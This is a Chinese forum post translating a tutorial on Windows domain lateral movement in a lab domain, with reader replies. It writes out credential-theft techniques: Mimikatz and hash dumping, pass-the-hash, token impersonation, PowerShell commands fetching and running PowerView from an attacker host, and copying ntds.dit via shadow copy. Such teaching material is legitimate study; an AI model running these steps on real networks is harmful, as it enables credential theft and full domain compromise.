用户
搜索

[思路/技术] 超详细的域渗透过程

  • TA的每日心情
    奋斗
    2018-8-2 16:45
  • 签到天数: 22 天

    连续签到: 1 天

    [LV.4]经常看看II

    超级版主

    蜂巢网络安全

    Rank: 8Rank: 8

    45

    主题

    145

    帖子

    563

    魔法币
    收听
    0
    粉丝
    5
    注册时间
    2016-4-17

    i春秋认证春秋文阁白帽传说i春秋签约作者i春秋推荐小组积极活跃奖燕幽默灌水王秦楚赵

    浅安 超级版主 蜂巢网络安全 i春秋认证 春秋文阁 白帽传说 i春秋签约作者 i春秋推荐小组 积极活跃奖 燕 幽默灌水王 楼主
    发表于 2018-4-29 17:13:29 1425943
    本帖最后由 浅安 于 2018-4-29 17:27 编辑


    大家好!我们在这个write up 里讲下几个不同的入侵 windows domian 时的横向操作。 内容不会过于深入,而会介绍一些基本技巧和流程. 为了保证测试客观性所以我将使用我们的测试对象 lock domain “REDHOOK”. 希望这会成为我们第一个关于 windows domian 的系列教程. 如果你要具体了解某些细节(比如kerberos tickets)欢迎发email 谢谢 (作者鬼佬,要问写英文)!

    实例:

    我们的目标是获取 "redhook.DA" 域账号的鉴别信息. 假设我们做为攻击者已经成功的进入到目标企业的内部网络,但是我们和目标不在同一个 domian controller 的管理范围, 如下图所示.

    1.jpg


    另外我们作为攻击者假设已经获得了Client 1.主机上一些有用的本地管理员的鉴别信息。怎么获得的?如果目标网络够大, 就很有可能会在网络分享上找到有用的鉴别信息 (例如各种batch, vbs, .NET, ps1, etc. 文件中), 在找的过程中 "dir /s", "findstr /SI" andFind-InterestingFile 相当管用. 取决于一开始你怎么获得的权限,你可能已经用到了一些很好用的像cobalt strike类型入侵框架,或者你已经在目标网络某台机器是有了一些基本权限功能。虽然在本讲中入侵者使用的是kali,但我也会介绍一些windows 上的小技巧. 最后,本讲中我不会去讲关于绕过防护的技巧,记住实战中触发了防护的话那就代表没戏了。

    黑掉 Client 1

    像我之前说的我们已经在内网分享内容里得到了 “Client 1” 的鉴别信息。看一下代码

    [AppleScript] 纯文本查看 复制代码
    # Mock contents of \\FileServer\Users\bob\Workstations\ErrorLog.bat
     
    [url=home.php?mod=space&uid=46675]@echo[/url] off
     
    net use "\\10.0.0.129\C$" /user:bob ImSoSecur3! ->(鉴别信息)
     
    if exist "\\10.0.0.129\C$\Program Files\MSBuild\ErrorLog.txt" (
    echo "Sigh, more errors on Client1! Copying.."
    copy "\\10.0.0.129\C$\Program Files\MSBuild\ErrorLog.txt" C:\Users\bob\Logs\Client1\
    del "\\10.0.0.129\C$\Program Files\MSBuild\ErrorLog.txt"
    ) else (
    echo "Yaay, no new errors on Client1!"
    )
     
    net use "\\10.0.0.129\C$" /delete

    我们可以尝试获取上面batch脚本中IP地址的NetBIOS的信息。
    [AppleScript] 纯文本查看 复制代码
    (kali : nbtscan -vh IP)

    如果在windows上使用cmd命令
    [AppleScript] 纯文本查看 复制代码
    "nbtstat -A IP".
    2.jpg


    如上图中所示我们可以看出主机 “WIN7-ENT-CLI1” 连接的是 REDHOOK domain.

    P**ec:

    我们使用 metasploit's P**ec 可以很容易的获取到反弹shell 注意smbuser置的bob是本地账,如果 “net use” 命令下我们必须用 “REDHOOK\bob” 同时我们就不设置SMBDomain 参数

    3.jpg


    除了MetasploitP**ec,我们还能用 ImpacketP**ec(RemComSvc 模拟P**ec),

    [AppleScript] 纯文本查看 复制代码
    https://github.com/CoreSecurity/impacket/blob/master/examples/wmiexec.py

    在没有明文密码的时候我们通过它来传递获取到的HASH作为代替,之后细讲.下图为 ImpacketP**ec脚本使用获取目标shell)

    4.jpg


    微软也有自带的 P**ec (合法的数字签名过)。
    [AppleScript] 纯文本查看 复制代码
    https://docs.microsoft.com/en-us/sysinternals/downloads/p**ec
    图中命令后面加个 "-s" 可以返回 SYSTEM 权限的shell.


    5.jpg


    WMI:

    Windows 下我们也能用WMIC(内置不需要下载),WMIC不仅可以让你在远程目标上执行命令, 还能提升WMIC去获取敏感信息和配置操作系统,这些功能已经全部内置。

    6.jpg


    当然你必须知道怎么用 "cmd.exe /c" and "powershell.exe-exec bypass -command"去达到你的目的.我们提到的所有工具都已经集成了这些基本功能.我们回到用WmiExec ,通过图中命令获取到下图信息, 这时候你可能已经有了一个可以用来获取hash的半开的shell.


    7.jpg



    最后用 PowerSploit'sInvoke-WmiCommand 获取hash,由于PSCredential object的关系,这玩意可能比较满要花点时间。 但是用这个脚本你可以获取到如下输出以及内存中的数据。

    8.jpg


    Pass-The-Hash, WCE & Mimikatz:

    有的时候你用工具可能只能获取到账号的NTLM hash拿不到明文。 这时候你可以用 metasploit (p**ec) 或者 Impacket (只要是支持PTH的都可以) 之后就简单了。如果你能确定目标本地的windows环境,那就可以用 WCE 或者 Mimikatz 注入NTLM hash 到进程中。

    9.jpg


    缺点就是使用WCE的做以上操作的话,100%肯定会被发现攻击行为。Mimikatz则是利用 powershell w00t! 来直接载入到目标内存中。我习惯用编译过的二进制。


    10.jpg



    需要注意以上的例子中 domian 设置成了 ".",因为bob的账号虽然属于本地账号,但是也可以当作域账号来使用。我们有很多办法可以获取到shell。也许这部分看起来有点重复,但多知道几个办法没有坏处啊~ 在不同的被限制的情况下可能只有特定的办法可以成功。 要注意 P**ec variants 都可以获取到 SYSTEM 权限 shell WMI variants只能以登录用户权限来执行命令. 再说一遍多知道点办法没有坏吃。

    Smash-And-Grab

    在成功进入到目标子网中之后,我们就可以开始经典的"samsh and grab"操作了。我们的目标是收集到所有可以收集到的信息(明文,hash 密码)。然后考虑如何利用他们。

    Metasploit (Mimikatz & hashdump):

    通过meterpeters返回的active session 我们可以用使用Mimikatz 获取到明文密
    码,或者可以使用hash dump 来获取到所有的本地账号的hash

    11.jpg


    Secretsdump & Invoke-Mimikatz:

    除了上面的办法,我们还可以用Impacket's SecretsDump PowersploitInvoke-Mimikatz来达到同样的效果(这种情况下 Invoke-Mimikatz 需要被下载到目标服务器上运行)。看下图中,我已经精简化了powershell下载和执行mimikatz的命令.


    12.jpg



    当然除了上面的还有其他办法,基本套路和工具类似。

    侦察

    现在我们有了一台REDHOOK域中的机器并且他链接了另外一个子网。我们现在可以开是侦察了!

    Impersonation:

    因为我们需要了解 domian 的细节内容,我们需要得开一个domian user权限的shell. 这会有一点点问题,我们现在拥有的shell权限不是bob的话就是SYSTEM但是我们可以用 NtQuerySystemInformation 这种神奇的操作来找到其他用户的token 并且切换成他们的身份, 这个功能就是著名的安全工具

    的主要功能。如图,我们看见"REDHOOK\asenath.waite" 已经登录了系统,所以它是优选攻击目标。.

    如下图Meterpreter已经内置了可以i让过程简化的 incognito 插件

    13.jpg


    或者你可以用 Luke Jennings 写的 incognito binary 这个工具和 P**ec 功能类似可以用于远程攻击.


    14.jpg



    最后再推荐使用 PowerSploit Invoke-TokenManipulation]Invoke-TokenManipulation但是不是很推荐因为安全性不是很靠谱。我已经给他们提了两个相关漏洞(#112&#113)如果这些问题解决了(尤其是113)我会更新下相关操作。我觉得用PowerShell tokenimpersonation操作是最方便的!

    Domain 侦察:

    现在我们已经取得了一个具有domain user 权限的shell,我们需要看目前的范围
    下有哪些攻击目标 (操作如下)。

    [AppleScript] 纯文本查看 复制代码
    C:\Windows\System32> whoami[/size][/font][/align][align=left][font=宋体][size=3]redhook\asenath.waite
     
    C:\Windows\System32> hostname
    WIN7-Ent-CLI1
     
    C:\Windows\System32> ipconfig
     
    Windows IP Configuration
     
     
    Ethernet adapter Local Area Connection 2:
     
    Connection-specific DNS Suffix . : localdomain
    Link-local IPv6 Address . . . . . : fe80::a1ba:a1ab:170c:7916%17
    IPv4 Address. . . . . . . . . . . : 10.0.0.129 # Attacker's subnet
    Subnet Mask . . . . . . . . . . . : 255.255.255.0
    Default Gateway . . . . . . . . . :
     
    Ethernet adapter Bluetooth Network Connection:
     
    Media State . . . . . . . . . . . : Media disconnected
    Connection-specific DNS Suffix . :
     
    Ethernet adapter Local Area Connection:
     
    Connection-specific DNS Suffix . :
    Link-local IPv6 Address . . . . . : fe80::5ddc:1e6:17e9:9e15%11
    IPv4 Address. . . . . . . . . . . : 10.1.1.2 # REDHOOK subnet
    Subnet Mask . . . . . . . . . . . : 255.255.255.0
    Default Gateway . . . . . . . . . : 10.1.1.1
     
    Tunnel adapter isatap.{8D0466B5-1F88-480C-A42D-49A871635C9A}:
     
    Media State . . . . . . . . . . . : Media disconnected
    Connection-specific DNS Suffix . :
     
    Tunnel adapter isatap.localdomain:
     
    Media State . . . . . . . . . . . : Media disconnected
    Connection-specific DNS Suffix . : localdomain
     
    Tunnel adapter isatap.{5CBBE015-1E1C-4926-8025-EBB59E470186}:
     
    Media State . . . . . . . . . . . : Media disconnected
    Connection-specific DNS Suffix . :
     
    # A very small network, three hosts, including the one we have just compromised.C:\Windows\System32> net view
    Server Name Remark
     
    -------------------------------------------------------------------------------
    \\REDRUM-DC red.dc
    \\WIN7-ENT-CLI1
    \\WIN7-ENT-CLI2
     
    The command completed successfully.
     
    # The DC the user is authenticated toC:\Windows\System32> echo %logonserver%
    \\REDRUM-DC
     
    C:\Windows\System32> ping -n 1 REDRUM-DC
     
    Pinging redrum-dc.redhook.local [10.1.1.200] with 32 bytes of data:
    Reply from 10.1.1.200: bytes=32 time<1ms TTL=128
     
    Ping statistics for 10.1.1.200:
    Packets: Sent = 1, Received = 1, Lost = 0 (0% loss),
    Approximate round trip times in milli-seconds:
    Minimum = 0ms, Maximum = 0ms, Average = 0ms
     
    # List local usersC:\Windows\System32> net user
     
    User accounts for \\WIN7-ENT-CLI1
     
    -------------------------------------------------------------------------------
    Administrator bob Guest
    TemplateAdmin
     
    The command completed successfully.
     
    # List REDHOOK domain usersC:\Windows\System32> net user /domain
    The request will be processed at a domain controller for domain RedHook.local.
     
     
    User accounts for \\Redrum-DC.RedHook.local
     
    -------------------------------------------------------------------------------
    Administrator asenath.waite Guest
    john.smith krbtgt redhook.DA
    robert.suydam wilbur.whateley
     
    The command completed successfully.
     
    # PowerSploit => Invoke-EnumerateLocalAdmin: Find all users who are local Administrators on a box in the
    network.C:\Windows\System32> powershell -exec bypass -command "IEX (New-Object System.Net.Webclient).DownloadStrin
    g('http://10.0.0.128/PowerView.ps1');Invoke-EnumerateLocalAdmin"
     
    Server : Redrum-DC.RedHook.local
    AccountName : RedHook.local/Administrator # Be careful, Administrator is a domain user
    SID : S-1-5-21-129707511-1158432277-3818383092-500 in this case, not a local user!
    Disabled : False
    IsGroup : False
    IsDomain : True
    LastLogin : 28/01/2016 21:38:22
     
    Server : Redrum-DC.RedHook.local
    AccountName : RedHook.local/Enterprise Admins
    SID : S-1-5-21-129707511-1158432277-3818383092-519
    Disabled : False
    IsGroup : True
    IsDomain : True
    LastLogin :
     
    Server : Redrum-DC.RedHook.local
    AccountName : RedHook.local/Domain Admins
    SID : S-1-5-21-129707511-1158432277-3818383092-512
    Disabled : False
    IsGroup : True
    IsDomain : True
    LastLogin :
     
    Server : WIN7-ENT-CLI1.RedHook.local
    AccountName : WIN7-Ent-CLI1/Administrator
    SID : S-1-5-21-280973330-564264495-219324212-500
    Disabled : ERROR
    IsGroup : False
    IsDomain : False
    LastLogin :
     
    Server : WIN7-ENT-CLI1.RedHook.local
    AccountName : RedHook.local/Domain Admins
    SID : S-1-5-21-129707511-1158432277-3818383092-512
    Disabled : False
    IsGroup : True
    IsDomain : True
    LastLogin :
     
    Server : WIN7-ENT-CLI1.RedHook.local
    AccountName : WIN7-Ent-CLI1/bob # The local user bob is an admin on Client 1,
    SID : S-1-5-21-280973330-564264495-219324212-1002 we knew this already.
    Disabled : ERROR
    IsGroup : False
    IsDomain : False
    LastLogin :
     
    Server : WIN7-ENT-CLI1.RedHook.local
    AccountName : WIN7-Ent-CLI1/TemplateAdmin # Mmm!
    SID : S-1-5-21-280973330-564264495-219324212-1003
    Disabled : ERROR
    IsGroup : False
    IsDomain : False
    LastLogin :
     
    Server : WIN7-ENT-CLI2.RedHook.local
    AccountName : WIN7-ENT-CLI2/Administrator
    SID : S-1-5-21-1588183677-2924731702-2964281847-500
    Disabled : ERROR
    IsGroup : False
    IsDomain : False
    LastLogin :
     
    Server : WIN7-ENT-CLI2.RedHook.local
    AccountName : RedHook.local/Domain Admins
    SID : S-1-5-21-129707511-1158432277-3818383092-512
    Disabled : False
    IsGroup : True
    IsDomain : True
    LastLogin :
     
    Server : WIN7-ENT-CLI2.RedHook.local
    AccountName : WIN7-ENT-CLI2/TemplateAdmin # Mmm², very suspicious, the local user
    SID : S-1-5-21-1588183677-2924731702-2964281847-1004 TemplateAdmin is an admin on both "Client
    Disabled : ERROR 1" and "Client 2"!
    IsGroup : False
    IsDomain : False
    LastLogin :
     
    # PowerSploit => Get-NetSession: List active, remote, logon sessions on the DC.C:\Windows\System32> powershell -exec bypass -command "IEX (New-Object System.Net.Webclient).DownloadStrin
    g('http://10.0.0.128/PowerView.ps1');Get-NetSession -ComputerName REDRUM-DC"
     
    sesi10_cname sesi10_username sesi10_time sesi10_idle_time
    ------------ --------------- ----------- ----------------
    \\[fe80::18a3:b250:ed6a:28f0] REDRUM-DC$ 10 10
    \\10.1.1.2 asenath.waite 0 0
     
    # Same for "Client 2". Crucially, notice that the domain user REDHOOK\Administrator is authenticated to
    the box and that the connection is originating from the DC!C:\Windows\System32> powershell -exec bypass -command "IEX (New-Object System.Net.Webclient).DownloadStrin
    g('http://10.0.0.128/PowerView.ps1');Get-NetSession -ComputerName WIN7-ENT-CLI2"
     
    sesi10_cname sesi10_username sesi10_time sesi10_idle_time
    ------------ --------------- ----------- ----------------
    \\10.1.1.200 Administrator 1721 124
    \\10.1.1.2 asenath.waite 0 0
     
    # Let's get some more info about that account. Again, this is listing information about
    REDHOOK\Administrator not the local administrator.C:\Windows\System32> net user Administrator /domain
    The request will be processed at a domain controller for domain RedHook.local.
     
    User name Administrator
    Full Name
    Comment Built-in account for administering the computer/dom
    ain
    User's comment
    Country code 000 (System Default)
    Account active Yes
    Account expires Never
     
    Password last set 25/01/2016 21:15:11
    Password expires Never
    Password changeable 26/01/2016 21:15:11
    Password required Yes
    User may change password Yes
     
    Workstations allowed All
    Logon script
    User profile
    Home directory
    Last logon 28/01/2016 21:38:22
     
    Logon hours allowed All
     
    Local Group Memberships *Administrators
    Global Group memberships *Domain Users *Domain Admins # Oops, he is a DA!
    The command completed successfully.
     
    # We also won't forget to retrieve some info about our fictional target REDHOOK\redhook.DA.C:\Windows\System32> net user redhook.DA /domain
    The request will be processed at a domain controller for domain RedHook.local.
     
    User name redhook.DA
    Full Name redhook DA
    Comment
    User's comment
    Country code 000 (System Default)
    Account active Yes
    Account expires Never
     
    Password last set 25/01/2016 21:27:37
    Password expires Never
    Password changeable 26/01/2016 21:27:37
    Password required Yes
    User may change password Yes
     
    Workstations allowed All
    Logon script
    User profile
    Home directory
    Last logon 28/01/2016 21:18:56
     
    Logon hours allowed All
     
    Local Group Memberships
    Global Group memberships *Enterprise Admins *Domain Admins # Our target on the other hand is the
    *Group Policy Creator *Schema Admins mother root of DA's hehe!
    The command completed successfully.

    如上图上图所示有了一点获取 domian 管理员的思路。

    (1) 中可以看出本地用户 TemplateAdmin 同时是 "client1" 和 "client2"的管理员.
    (2) 虽然我们没有TemplateAdmin 的明文密码但是我们有他登录 “client2”的密Hash.
    (3) REDHOOK\Administrator 账号能 登录”Client2", 加入我们在用户的登录的情况黑掉他,我们就可以获取到明文密码。我们现在就可以切换成他的账号。这个时候我们就相当于黑掉了这个domain!

    考考你们:为什么说"REDHOOK\Administrator"domian 管理员组的? 这种问题可能会出现在MCSA考试中。

    Socks Proxy:

    还有一件事我需要提到下. metasploit's 通过建立的sessions转发流量,之后我们就可以通过sock 代理进行登录目标机了. 在使用metasploit 或者 cobaltstrike这个操作相当好用。

    15.jpg


    通过使用“session 1”route我们就可以用metasploit的各种模组来测试之前测试不到的 /24 子网中的主机啦!  


    16.jpg

    另外,我们可以使用 proxychains (就是一种socks 代理的方式) 来做代理获取到进入的目标机的权限。在设置proxychains时需要正确的设置成metasploit module使用的端口。

    17.jpg



    还有就是socks proxy只允许 TCP流量. 留意下这个限制.windows主机的话不能直接用命令行设置socks proxy 但是我们能用 netsh来做端口映射(之后再说) 如果你还想要更强大的功能,你可以尝试用plink来做些SSH牛逼操作。但是这个是本次谈论范畴之外的了。

    黑掉 Client 2

    "Client 1" and "Client 2" 两台机器上的 同时拥有 TemplateAdmin账号的情况,很有可能密码也是相同,像这样我们拿下"Clinet 2"的过程和我们上面的例子就没什么区别了。 唯一区别我们需要 pivot 下我们的shell,还有我们使用hash而不是明文。下面我介绍两种办法,当然还有其他的办法。

    Metasploit (PortProxy & P**ec):

    虽然我们可以通过metasploit访问"Client 2" 但是链接返回时会出现问题。 这时候我们需要用到 portproxy 模组在"Client 1"来建立端口映射。

    18.jpg

    上面的看着可能有点难懂. "Client 1" 10.1.1.2:9988 上监听, 然后转发所有数据到 10.0.0.128:9988. 所有的都在后台发生。事实上在Windows中封装在netsh上。剩下的就是要稍微重新配置下P**ec

    19.jpg

    Impacket (P**ec) & netsh:

    首先我们要在"Client 1"上用netsh先手工设置端口转发。

    20.jpg

    我们现在设置管关于转发10.0.0.129:5678 10.1.1.3:445的策略.Impacket'sP**ec 需要连接到一个自定义端口, 默认的话我们不能直接用命令做到,要用python代码实现。

    21.jpg

    稍作修改之后就可以很简单的P**ec10.0.0.129 然后被转发到 10.1.1.3!

    22.jpg

    记得用完之后把端口转发规则清掉,下面这个就是命令。

    [AppleScript] 纯文本查看 复制代码
    C:\Windows\system32> netsh interface portproxy reset

    windows环境?:

    恭喜你~ 没办法~ , 假如攻击者使用的是windows环境,P**ec 没法使用默认端口。另外,假如攻击者的机器445端口被占用,上面设置的端口映射规则将无效。(例如这样的规则: 127.0.0.1:445 --> 10.0.0.129:5678). 还有SMB也不能选择临时关闭, 每次关闭了之后系统都需要重新配置,然后在重启才能打开所以非常的恶心。如果那位大神有办法,请告诉我下怎么解决。这中情况下最好的办法是用 pyinstaller Impacket's P**ec进行修改然后重新编译 maaaaz 的操作类似href

    Smash-And-Grab

    这个步骤取决于"Client 2" 怎么认证REDHOOK\Administrator,可能和第一实例中的不太一样。例如,假如我们用  "net use \\10.1.1.3\C$" 是没有办法获得明文密码或者hash, 但是"net use\\10.1.1.3\C$ /user:REDHOOK\AdministratorXXXXXXX" 就都能拿到。 In essence,是这个取决于 REDHOOK\Administrator用户在登录是有没有输入密码登录。

    以下的办法很可能直接解决问题。甚至在没有明文密码的情况下,我们也可以找到一个以 REDHOOK\Administrator权限运行的进程然后用incognito impersonate(劫持) 它的 token从而得到此进程的权限。

    Metasploit Easy-Mode (Mimikatz & hashdump &incognito):

    23.jpg

    这里我们运气比较好,或者说我们的步骤都是预先安排好的呵呵!~我们现在在看下incognito的基础用法。

    24.jpg

    Impacket (P**ec) & incognito:

    由于pivot的关系我们会有点被限制. 为了演示 我们可以在远程主机上使用incognito , 但是和Invoke-Mimikatz比较有点不太方便


    25.jpg


    在跑了这个命令之后会卡住。我进程遇到这种情况,并发现假如不用 “-c”(interactive 模式) 参数就不会卡住。 但是这样命令就不会正确执行了~ 如果你不把命令全放在一个bat文件中,那只会运行第一行然后就卡住。 以上情况只有在通过 P**ec 执行 incognito 会出现。
    虽然这是一个非常简陋的解决方案,当我们登回机器的时候,我们可以看见我的batch脚本已经正确执行了。

    26.jpg


    如果谁有更优雅的办法,赶紧告诉我!

    文件传输:

    这里我用的是Impacket's P**ec自带的 "put" 命令 。更好的办法是用下载的方式把文件传到 pivot box 上,比如我们可以用 Powershell webclient 或者bitsadmin 来做下载操作。其他的办法可以参考 Parvez 的文章 here.一旦文件传输成功,我们就可以在主机上创建一个不被限制的 windows 分享文件夹

    [AppleScript] 纯文本查看 复制代码
    # Create an unrestricted share.C:\Users\asenath.waite> md C:\Users\asenath.waite\Desktop\test
     
    C:\Users\asenath.waite> echo Hello > C:\Users\asenath.waite\Desktop\test\test.txt
     
    C:\Users\asenath.waite> net share SomeShare=C:\Users\asenath.waite\Desktop\test /grant:everyone,full
    SomeShare was shared successfully.
     
    C:\Users\asenath.waite> net share
    Share name Resource Remark
     
    -------------------------------------------------------------------------------
    C$ C:\ Default share
    IPC$ Remote IPC
    ADMIN$ C:\Windows Remote Admin
    SomeShare C:\Users\asenath.waite\Desktop\test
     
    The command completed successfully.
     
    # On the remote host simple mount the share.C:\Users\belial> net use \\10.0.0.129\SomeShare
    The command completed successfully.
     
    C:\Users\belial> type \\10.0.0.129\SomeShare\test.txt
    Hello
     
    # Unmount.C:\Users\belial> net use \\10.0.0.129\SomeShare /delete
    \\10.0.0.129\SomeShare was deleted successfully.
     
    # Clean up the share.C:\Users\asenath.waite> net share C:\Users\asenath.waite\Desktop\test /delete /yes
    Users have open files on SomeShare. Continuing the operation will force the files closed.
     
    SomeShare was deleted successfully.
     
    C:\Users\asenath.waite> rd /S /Q C:\Users\asenath.waite\Desktop\test
     

    Compromising Redrum-DC

    目前我们已经获得到了REDHOOK\Administrator 的明文密码,或者我们可以创建自己的 Domain 管理员账号。这样一来我们拿下域控制器的流程就和拿下"client 2“ 一样了。 我就懒得把同样的步骤再打一遍啦~你可以混合使用之前提到的操作。这下面细讲的两个例子,和之前的讲的稍微有点不同。

    Socks Proxy & Impacket (WmiExec):

    记得我们之前设置的 socks proxy ? 我们可以用来代理所有拿下这个域的操作.另外提醒下socks proxy 一定要做在 pivot 上。为了有点变化, 这里我们用Impacket's WmiExec举例。

    27.jpg

    很简单吧?但是这个不是在所有情况下都能用所以你最好要知道其他的办法。

    Sysinternals (P**ec) & Invoke-Mimikatz:

    回到我们的主要目标:获取到REDHOOK\redhook.DA的可用鉴别信息。此处我们用到Invoke-Mimikatz dump 远程主机的鉴别信息的功能. Essentially, 我们得 "Client 1" REDHOOK\Administrator权限的shell然后在域控制器上启用Mimikatz 我们这假设已经在kali 环境中得到了一个 REDHOOK\redhook.DAactive session.

    28.jpg

    由于 windows 2k12 r2/8.1 enhanced protection features (安全防护)我只dumphash。拿到明文密码基本是不可能的。但是,如图中所示我们已经获得REDHOOK\redhook.DA  NTLM hash 所以已经有了足够登录域中其他终端的条件。


    29.jpg


    注意:我们这里用0填充了HASHLM部分(用什么填充都无所谓)。当然我们这里不只限用Impacket, Metasploit's P**ec 也可以用来组装执行命令中的NTLM hash

    Pillaging NTDS

    获取NTDS通常是最后一步。我非常建议你看下 Sean Metcal 的文章 here 。他的文章描述了几种不同获取本地shell 连接域控制器的操作,还有远程使用WMI的操作。下面我简单说两种办法。

    Volume Shadow Copy (Classic-Mode):

    我们可以用 vssadmin 来进行这方面的操作.
    [AppleScript] 纯文本查看 复制代码
    C:\> whoami
    redhook\redhook.da
     
    # Get the path to NTDS, it may not be in the C drive.C:\> reg query HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters
     
    HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\NTDS\Parameters
    System Schema Version REG_DWORD 0x45
    Root Domain REG_SZ DC=RedHook,DC=local
    Configuration NC REG_SZ CN=Configuration,DC=RedHook,DC=local
    Machine DN Name REG_SZ CN=NTDS Settings,CN=REDRUM-DC,CN=Servers,CN=There-Be-Dragons,CN=Sites,CN=
    Configuration,DC=RedHook,DC=local
    DsaOptions REG_SZ 1
    IsClone REG_DWORD 0x0
    ServiceDll REG_EXPAND_SZ %systemroot%\system32\ntdsa.dll
    DSA Working Directory REG_SZ C:\Windows\NTDS
    DSA Database file REG_SZ C:\Windows\NTDS\ntds.dit
    Database backup path REG_SZ C:\Windows\NTDS\dsadata.bak
    Database log files path REG_SZ C:\Windows\NTDS
    Hierarchy Table Recalculation interval (minutes) REG_DWORD 0x2d0
    Database logging/recovery REG_SZ ON
    DS Drive Mappings REG_MULTI_SZ c:\=\\?\Volume{1c6c559b-3db6-11e5-80ba-806e6f6e6963}\
    DSA Database Epoch REG_DWORD 0x7983
    Strict Replication Consistency REG_DWORD 0x1
    Schema Version REG_DWORD 0x45
    ldapserverintegrity REG_DWORD 0x1
    Global Catalog Promotion Complete REG_DWORD 0x1
    DSA Previous Restore Count REG_DWORD 0x1
     
    # Create a shadow copy of C.C:\> vssadmin create shadow /for=c:
    vssadmin 1.1 - Volume Shadow Copy Service administrative command-line tool
    (C) Copyright 2001-2013 Microsoft Corp.
     
    Successfully created shadow copy for 'c:\'
    Shadow Copy ID: {e0fd5b2d-b32d-4bba-89a2-efcf0b7b8fda}
    Shadow Copy Volume Name: \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1
     
    # Copy out ntds and the system hive.C:\> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\NTDS\ntds.dit C:\ntds.dit
    1 file(s) copied.
    C:\> copy \\?\GLOBALROOT\Device\HarddiskVolumeShadowCopy1\Windows\System32\config\SYSTEM C:\system.hive
    1 file(s) copied.
    

    得到文件之后,我们可以本地使用Impacket's SecretsDump 来获取文件内容。 见下图

    30.jpg

    NTDS可能包含成千上万的用户账号信息,信息量比较大。测试的时候不要超纲瞎搞, 等下管理员会被你吓死的!我们还可以使用 Invoke-NinjaCopy 一样的效果, 可以参考 Sean Metcalf的文章 .

    Socks Proxy & Impacket (SecretsDump) (Easy-Mode):

    如果你已经设置好了pivot socks代理 ,那我们就可以简单对 SecretsDump 行代理。然后用明文或者Hash来登录域控制器。

    31.jpg

    总结

    这个帖子的主要目的是说一下几种不同的攻击技巧,根据不同的情况下可以选用到其中几种办法。希望这帖子能让你了解到在DA中横向移动的技巧!




    作者:Ruben Boonen
    翻译:i春秋翻译小组-1337g
    审核人员:F0rmat
    翻译来源:http://www.fuzzysecurity.com/tutorials/25.html


    转载请注明出处i春秋

    i春秋白帽子军团:451217067
    蜂巢网安:613097965
    发表于 2018-5-1 10:58:34
    没接触过,感谢分享
    使用道具 举报 回复
    发表于 2018-5-1 17:03:59
    安哥,带带我
    破解的目的是为了更好的开发
    使用道具 举报 回复
    发表于 2018-5-2 09:20:47
    还是大表哥厉害~~
    小白~~~
    使用道具 举报 回复
    发表于 2018-5-2 10:33:00

    i春秋白帽子军团:451217067
    蜂巢网安:613097965
    使用道具 举报 回复
    发表于 2018-5-2 10:33:06
    i春秋白帽子军团:451217067
    蜂巢网安:613097965
    使用道具 举报 回复
    发表于 2018-5-2 10:33:14
    crZh 发表于 2018-5-1 10:58
    没接触过,感谢分享

    i春秋白帽子军团:451217067
    蜂巢网安:613097965
    使用道具 举报 回复
    发表于 2018-5-2 10:52:35
    666666666666666666666666666666666
    使用道具 举报 回复
    发表于 2018-5-2 14:31:55
    冰沸点 发表于 2018-5-2 10:52
    666666666666666666666666666666666

    i春秋白帽子军团:451217067
    蜂巢网安:613097965
    使用道具 举报 回复
    发表于 2018-5-2 23:04:53
    读完文章的都是大佬。
    当你凝望深渊时,你就不怕吗?
    使用道具 举报 回复
    发表于 2018-5-3 15:37:40
    xmidf 发表于 2018-5-2 15:04
    读完文章的都是大佬。

    i春秋白帽子军团:451217067
    蜂巢网安:613097965
    使用道具 举报 回复
    发表于 2018-5-3 15:45:53
    感谢分享,很详细呢!
    使用道具 举报 回复
    发表于 2018-5-3 16:16:49
    李大器 发表于 2018-5-3 07:45
    感谢分享,很详细呢!

    i春秋白帽子军团:451217067
    蜂巢网安:613097965
    使用道具 举报 回复
    发表于 2018-5-6 11:31:02
    666666666666666666
    使用道具 举报 回复
    发表于 2018-10-7 00:22:59
    学习一下~
    使用道具 举报 回复
    发新帖
    您需要登录后才可以回帖 登录 | 立即注册